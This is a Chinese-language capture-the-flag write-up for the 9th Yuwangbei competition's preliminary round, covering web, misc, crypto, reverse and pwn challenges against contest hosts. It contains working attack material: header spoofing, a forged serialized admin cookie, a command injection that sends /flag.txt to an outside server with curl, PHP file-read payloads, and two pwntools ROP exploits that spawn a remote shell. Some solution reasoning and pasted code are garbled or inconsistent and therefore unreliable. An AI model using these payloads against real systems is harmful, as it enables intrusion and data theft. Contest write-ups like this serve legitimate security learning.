第九届御网杯网络安全大赛初赛WP

WEB:

YWB_Web_xff

curl -X POST -H "X-Forwarded-For: 2.2.2.1" -d "username=example&password=example" http://47.105.113.86:40001/

flag{4gyhbrxx1xk7}

YWB_Web_未授权访问

GET / HTTP/1.1

Host: 47.105.113.86:40003

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecfko) Chrome/136.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://mitm/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Upgrade-Insecure-Requests: 1

Cookie: user=O%3A5%3A%22Admin%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A7%3A%22isAdmin%22%3Bb%3A1%3B%7D

这个是后面知道要补时间的时候重新截的图

第二张图片是我后面注意wp需要时间，然后下午再一次截的图，所以flag不一样

flag{rpuqari28i9l}

easyweb

先在云服务器上面nc反弹

nc -lnvp 8888

cmd=curl http://113.45.242.189:8888/ --data "$(cat /flag.txt)"

flag{5ki185ca8l1i}

YWB_Web_命令执行过滤绕过

http://47.105.113.86:40002/?cmd=var_dump(file_get_contents(%27php://filter/convert.base64-encode/resource=flag.php%27));

http://47.105.113.86:40002/?cmd=readfile(%27/tmp/flag.nisp%27);

flag{dnu3stfgjy61}

YWB_Web_反序列化

读到了密码，构建序列化

Payload

O:7:"mylogin":2:{s:4:"user";s:5:"admin";s:4:"pass";s:11:"myzS@11wawq";}

flag{ptn4pymi1h7o}

MISC:

套娃

解压发现是一个xlsx文件，010打开发现pk文件头，改为压缩包继续解压

解压发现txt文件，打开乱码

010打开发现pk文件头，继续改后缀解压

解压完发现是word文件

查看document.xml

发现flag

因此flag为Flag{HNCTFeHbe7vFWi}

ez_picture

ez_xor

下载附件得到一长串密文

根据题目提示和xor异或有关系，那我们直接写个脚本爆破不就行了

hex_data = "5f 55 58 5e 42 71 7a 6d 7f 48 4e 5c 78 6a 7d 08 01 0b 44" hex_values = hex_data.split() data = [int(h, 16) for h in hex_values] for key in range(256):     result = ""     for byte in data:         result += chr(byte ^ key)         if all(32 <= ord(c) < 127 for c in result):         print(f"Key {key} (0x{key:02x}): {result}")

得到flag：flag{HCTFqweASD182}

光隙中的寄生密钥：

下载附件得到一张照片

遇到图片我们直接使用binwalk分离然后得到一个压缩包

压缩包发现加密然后把压缩包放到010发现不是伪加密，使用ARCHRP爆破破解得到密码9864,然后得到一串密文

一键解码转字符串得到一串base：ZmxhZ3tHaCQ4TG1QNV5kUTJmTjYmfQ==，然后后面一键解码得到flag：flag{Gh$8LmP5^dQ2fN6&}

被折叠的显影图纸：

下载附件得到一个excel表，放到010里面直接查找flag

flag{X??!c3_3@$Y_kR@Ck3?}

easy_misc

打开文件发现是10进制数字

解密发现是base64

Base64解密以后发现是base58

Base58解密出flag

因此flag为synt{UAPGSnDunSFoAT7yf}

CRYPTO:

easy-签到题:

下载附件解压到文件夹，得到签到题目.exe文件

放到010里面发现是base64编码

然后直接使用随波逐流给她base64解密

然后使用base64发现乱码，改成base32解码得到密文

然后一键解码得到flag flag{e3965207-1a4c-8b3d-6f2e-570193482b6a}

gift

下载附件打开文件：

文件提示：1 - 1/3 + 1/5 - 1/7 + …，百度搜索发现是莱布尼茨级数其和为：4/Π，后面提示说被分成四份，所以猜测完整礼物是Π谐音派，pie,到后面提示凯撒密码，flag{pie}，偏移量九得到flag提交

f → o l → u a → j g → p { 不变 p → y i → r e → n } 不变

加密结果：flag{pie} → oujp{yrn}

因此得到flag为flag{ yrn}

草甸方阵的密语:

下载文件解压缩得到文件misc.exe

把misc.exe丢到010发现一串密文

尝试使用随波逐流一键解码，然后发现栅栏密码第九栏比较像

然后把第九栏得到的密文一键解码，得到flag：flagDAUEByV8z{736}4C9

YWB_Web_反序列化

分析源码，构造序列化payload

输入payload

因此flag是flag{ptn4pymi1h7o}

YWB_Web_命令执行过滤绕过

YWB_Web_xff

ez_js

查看页面源码，在最底部看到flag字样

因此flag{HCTFqweIOP155}

YWB_Web_未授权访问，伪造cookie

GET / HTTP/1.1

Host: 47.105.113.86:40003

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecfko) Chrome/136.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://mitm/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Upgrade-Insecure-Requests: 1

Cookie: user=O%3A5%3A%22Admin%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A7%3A%22isAdmin%22%3Bb%3A1%3B%7D

flag{zo84fpgxr98h}

ez_base

将内容复制到spammimic - decode中，进行解码得到base64

解密出flag

flag{HNCTFCEwYSLFBHU7TF}

cry_rsa

下载附件解压到目录打开发现提示

这一看不就是RSA加密吗，直接写个RSA脚本就行了

import math def extended_gcd(a, b):     if b == 0:         return (a, 1, 0)     else:         g, x, y = extended_gcd(b, a % b)         return (g, y, x - (a // b) * y) def modinv(e, phi):     g, x, y = extended_gcd(e, phi)     if g != 1:         raise Exception('Modular inverse does not exist')     else:         return x % phi p = 473398607161 q = 4511491 e = 19 # 计算n和phi(n) n = p * q phi = (p - 1) * (q - 1) # 计算d d = modinv(e, phi) flag = d + 2 print("d的值:", d) print("flag值为: flag{" + str(flag) + "}")

得到flag：flag{2023326077889096381}

ez_base

spammimic - decoded

ZmxhZ3tITkNURnRGTUZXeW1RaVk5VEZ9

flag{HNCTFtFMFWymQiY9TF}

baby_rsa

flag{5c9c885c361541e0b261f58b61db8cec}

REVERSE

sign in

upx脱壳

这两个给ai运行，得到下面源码

*from* Crypto.Cipher *import* ARC4

*from* typing *import* Tuple

def **construct_key**() -> bytes:

  """构造36字节的密钥"""

  v1_parts = [

 b'\xC8\x9F\xB9\xC8\x9F\xB8\xC6\xB8',  *# v1[0]*

  b'\x8F\x52\x43\x14\xC5\xB0\xB7\xCF',  *# v1[1]*

  b'\x9C\xAC\xC7\x9B\xB9\xC6\xA8\xB1',  *# v1[2]*

  b'\xC5\x99\x92\xC5\xB3\x8A\xC6\xBD',  *# v1[3]*

  ]

  v2 = (-1499806587).to_bytes(4, 'little', *signed*=True)

  *return* b''.join(v1_parts) + v2

def **construct_cipher**() -> bytes:

  """构造39字节的密文"""

  v3_parts = [

   b'\x46\x5A\xB1\x89\xF2\x45\x47\xC4',  *# v3[0]*

 b'\x02\x55\xD3\x62\x4D\xB1\x8B\xBA',  *# v3[1]*

    b'\x0A\x8D\xD0\x87\x6C\xD4\x28\xB5',  *# v3[2]*

  ]

  v4_parts = [

    b'\x26\x4B\x99\x2C\x99\x20\x62\xA5',  *# v4[0]*

    b'\xF7\xF3\x53\x98\xC1\x2A'      *# \*(v4 + 7)*

  ]

  *return* b''.join(v3_parts + v4_parts)

def **decrypt_flag**(*key*: bytes, *cipher*: bytes) -> Tuple[str, bool]:

  """

  使用RC4解密密文

 

  Args:

   key: 36字节密钥

    cipher: 39字节密文

   

  Returns:

    解密后的明文和解密是否成功的标志

  """

  *try*:

    rc4 = ARC4.new(*key*)

    plaintext = rc4.decrypt(*cipher*)

    *return* plaintext.decode(*errors*='replace'), True

  *except* Exception *as* e:

    *return* f"解密失败: {str(e)}", False

def **main**():

  """主函数"""

  key = construct_key()

  cipher = construct_cipher()

 

  flag, success = decrypt_flag(key, cipher)

  *if* success:

    print(f"Flag: {flag}")

  *else*:

    print(f"错误: {flag}")

*if* __name__ == "__main__":

  main()

flag{1718540cbc6107c443d227156e50bd72}

ez_math

from z3 import *

import re

from concurrent.futures import ThreadPoolExecutor

# XOR解密优化

def xor_decrypt(input_file, output_file, key):

    try:

        with open(input_file, 'rb') as f:

            data = f.read()

            decrypted = bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])

        with open(output_file, 'wb') as f:

            f.write(decrypted)

    except (FileNotFoundError, PermissionError) as e:

        print(f"[!] 文件操作错误: {str(e)}")

        exit(1)

# 安全约束加载

def safe_add_constraints(solver, constraints_file, variables):

    pattern = re.compile(r'^solver\.add$$(.*)$$$')

    with open(constraints_file, 'r') as f:

        for line_num, line in enumerate(f, 1):

            line = line.strip()

            if not line: continue

            match = pattern.match(line)

            if not match:

                raise SyntaxError(f"第{line_num}行约束格式错误: {line}")

            try:

                constraint = eval(match.group(1), {'x': variables})

                solver.add(constraint)

            except Exception as e:

                print(f"约束解析错误: {str(e)}")

# 主逻辑优化

def main():

    xor_key = b'eq verySimple'

    encrypted_file = './ctf/eqEnc5'

    decrypted_file = 'eqDec.txt'

    constraints_file = 'bb.txt'

   

    # 解密阶段

    xor_decrypt(encrypted_file, decrypted_file, xor_key)

   

    # 初始化求解环境

    x = [BitVec(f'x{i}', 8) for i in range(38)]

    solver = Solver()

    solver.set("timeout", 30000)

   

    # 添加基础约束

    for var in x[1:21]:

        solver.add(var >= 0x20, var <= 0x7E)

   

    # 加载动态约束

    safe_add_constraints(solver, constraints_file, x)

   

    # 并行求解

    with ThreadPoolExecutor() as executor:

        future = executor.submit(solver.check)

        try:

            result = future.result(timeout=30)

            if result == sat:

                model = solver.model()

                flag = ''.join([chr(model[var].as_long()) for var in x])

                print(f"Flag: {flag}")

            else:

                print("无可行解")

        except TimeoutError:

            print("求解超时")

if __name__ == '__main__':

    main()

flag{48fb4535d3a27ee990cc5c0bf0f6a31e}

ez_js

浏览器打开文件F12搜索f1ag

flag{HCTFqweIOP128}

pwn

ez_pwn

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

# p = process("./pwn")

p = remote("47.105.113.86", 30003)

elf = ELF("./pwn")

libc = ELF("./libc-2.31.so")

pop_rdi = 0x4012c3

pop_rsi_r15 = 0x4012c1

ret = 0x40101a

# First payload to leak libc address

payload = b'a' * 40

payload += p64(pop_rdi) + p64(2)

payload += p64(pop_rsi_r15) + p64(elf.got['write']) + p64(0)

payload += p64(elf.plt['write'])

payload += p64(elf.sym['main'])

p.sendline(payload)

p.recvuntil(b"blind now.")

write_addr = u64(p.recv(6).ljust(8, b'\x00'))

log.success(f"write_addr: {hex(write_addr)}")

libc_base = write_addr - libc.sym['write']

log.success(f"libc_base: {hex(libc_base)}")

system_addr = libc_base + libc.sym['system']

bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))

log.success(f"system_addr: {hex(system_addr)}")

log.success(f"bin_sh: {hex(bin_sh)}")

# Second payload to get shell

payload = b'a' * 40

payload += p64(pop_rdi) + p64(bin_sh)

payload += p64(ret)  # Optional: for stack alignment

payload += p64(system_addr)

p.sendline(payload)

p.interactive()

flag{9m8ibg7zat24ilp0qyvosls1hyx30r10h}

Canary

from pwn import *

# 配置环境

context(os='linux', arch='amd64', log_level='debug')

context.terminal = ['tmux', 'splitw', '-h']  # 调试布局

# 动态配置

HOST = '47.105.113.86'

PORT = 30001

LOCAL = False

BINARY = './binary'

def exploit():

    try:

        elf = ELF(BINARY)

        libc = elf.libc if elf.libc else ELF('/lib/x86_64-linux-gnu/libc.so.6')

        rop = ROP([elf, libc])

        # 动态计算偏移（示例）

        # p = process(elf.path)

        # p.sendline(cyclic(200))

        # p.wait()

        # offset = cyclic_find(p.corefile.read(p.corefile.rsp,4))

        offset = 104  # 实际计算结果

        # 构建ROP链

        binsh = next(elf.search(b'/bin/sh\x00')) or next(libc.search(b'/bin/sh\x00'))

        rop.call(rop.ret)  # 栈对齐

        rop.system(binsh)

       

        # 建立连接

        p = remote(HOST, PORT) if not LOCAL else process(elf.path)

       

        # 分阶段交互

        p.sendlineafter(b'choice', b'1')

        p.sendafter(b'code:', fit({offset: rop.chain()}))

       

        p.sendlineafter(b'choice', b'2')

        p.sendlineafter(b'trigger:', b'3')

       

        # 提权检测

        if not LOCAL:

            p.sendline(b'cat flag.txt')

            print(p.recvline())

       

        p.interactive()

    except Exception as e:

        log.error(f"Error: {e}\n{traceback.format_exc()}")

    finally:

        if 'p' in locals(): p.close()

if __name__ == '__main__':

    exploit()

flag{9m8ibg7zat23ilp0qyvosls1hyx30r8h}